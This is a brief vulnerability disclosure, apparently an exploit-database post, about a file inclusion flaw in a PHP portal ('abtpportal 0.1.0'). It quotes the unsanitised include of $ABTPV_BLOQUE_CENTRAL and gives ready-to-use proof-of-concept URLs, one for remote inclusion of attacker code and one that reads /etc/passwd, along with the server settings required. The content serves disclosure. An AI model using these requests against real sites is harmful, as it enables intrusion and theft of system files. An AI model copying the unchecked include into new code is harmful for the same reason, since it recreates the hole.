Description:

Bug : Local/Remote File Inclusion

Look this: includes/esqueletos/skel_null.php:1: <? include($ABTPV_BLOQUE_CENTRAL); ?>
The variable $ ABTPV_BLOQUE_CENTRAL was not correctly stated thus enabling the attack include malicious files or read files from the system.

If allow_url_fopen=on --> RFI;
If magic_quotes_gpc=off --> LFI;

----------------------------------------------------------------------------------------------------

P0c:

RFI:http://localhost/Scripts/abtpportal0.1.0/includes/esqueletos/skel_null.php?ABTPV_BLOQUE_CENTRAL=[EVIL_CODE]?

LFI:http://localhost/Scripts/abtpportal0.1.0/includes/esqueletos/skel_null.php?ABTPV_BLOQUE_CENTRAL=/etc/passwd

OBS: need register_globals=on;
